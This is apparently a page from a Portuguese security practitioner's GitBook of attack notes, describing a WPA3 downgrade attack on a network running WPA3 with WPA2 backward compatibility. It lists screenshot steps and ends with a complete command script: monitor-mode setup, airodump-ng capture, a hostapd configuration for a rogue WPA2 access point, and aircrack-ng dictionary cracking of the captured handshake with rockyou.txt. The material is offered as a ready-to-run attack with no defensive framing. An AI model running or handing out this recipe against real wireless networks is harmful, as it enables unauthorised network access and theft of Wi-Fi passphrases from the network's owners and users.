> For the complete documentation index, see [llms.txt](https://gitbook.seguranca-informatica.pt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.seguranca-informatica.pt/pwnage/wifi/wpa3-downgrade-attack.md).

# WPA3 Downgrade attack

WLAN configured for WPA3 SAE with backward compatibility

<figure><img src="https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWd-VcvRHVgUtkahm85%2Fuploads%2FNt9KDLgt0CxL5Tn3gxYW%2Fimage.png?alt=media&amp;token=6e8874a0-7457-4c45-8540-951e7b8f4477" alt=""><figcaption></figcaption></figure>

Confirmation via airodump-ng

<figure><img src="https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWd-VcvRHVgUtkahm85%2Fuploads%2Fy5I0zTpkguGMfCqQZ50h%2Fimage.png?alt=media&amp;token=4930df69-295e-4bbc-8a80-6e1925a730bc" alt=""><figcaption></figcaption></figure>

Create a rouge access point that will broadcast an RSN IE of WPA2

<figure><img src="https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWd-VcvRHVgUtkahm85%2Fuploads%2FNz6h35QWSwJEYH5ER6SW%2Fimage.png?alt=media&amp;token=dc28c79b-4fca-47d5-a096-84c7e6943b75" alt=""><figcaption></figcaption></figure>

Start airodump-ng before running the fake AP

<figure><img src="https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWd-VcvRHVgUtkahm85%2Fuploads%2F1Jf4F63QygrURDesGIWH%2Fimage.png?alt=media&amp;token=3e5c1837-d66a-4a14-9d60-b49979d61a0c" alt=""><figcaption></figcaption></figure>

Start fake AP

<figure><img src="https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWd-VcvRHVgUtkahm85%2Fuploads%2F1LPrkKQTkKze19QBJkWP%2Fimage.png?alt=media&amp;token=12539ec1-1821-45d0-8781-a0c00dadc5cb" alt=""><figcaption></figcaption></figure>

Clients are already trying to auth against the fake AP

<figure><img src="https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWd-VcvRHVgUtkahm85%2Fuploads%2FQo9SHVeVh2R8fVJsoetr%2Fimage.png?alt=media&amp;token=90070f4c-c0a3-46a1-b909-596ba72c64d8" alt=""><figcaption></figcaption></figure>

The fake AP does not know the correct PSK, but the client and AP will exchange a few frames. The four-way hand-shake was captured

<figure><img src="https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWd-VcvRHVgUtkahm85%2Fuploads%2FjUWW4OzpZY6vbUDoTF7o%2Fimage.png?alt=media&amp;token=86ed75cf-8b14-4acb-a06e-c983cf8e779e" alt=""><figcaption></figcaption></figure>

Attempt to retrieve the PSK via a dictionary attack

<figure><img src="https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWd-VcvRHVgUtkahm85%2Fuploads%2FF5y80QRPoiuJ6oLuDwd8%2Fimage.png?alt=media&amp;token=103ade12-60a8-493d-bb50-037de6f365c4" alt=""><figcaption></figcaption></figure>

## Script to execute the scenario

<pre><code>:> ifconfig wlan0 down
:> iw dev wlan0 set monitor none
:> ifconfig wlan0 up

<strong>:> airodump-ng --band abg --essid xxx-GUEST -w xxxguest wlan0 --channel 1,6,11
</strong>
<strong>
</strong>
----host.cfg-----
interface=wlan0
ssid=XXX-GUEST
hw_mode=g
channel=9
auth_algs=1
wpa=2
wpa_passphrase=LETMEIN1234
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP

<strong>:> hostapd host.conf
</strong>
:> aircrack-ng *.pcap -w rockyou.txt
</code></pre>

## Resources

{% embed url="<https://www.youtube.com/watch?v=8kXM1VDwmm8&ab_channel=Jos%C3%A9Daniel>" %}

{% embed url="<https://www.netprojnetworks.com/wpa3-downgrade-attack/>" %}
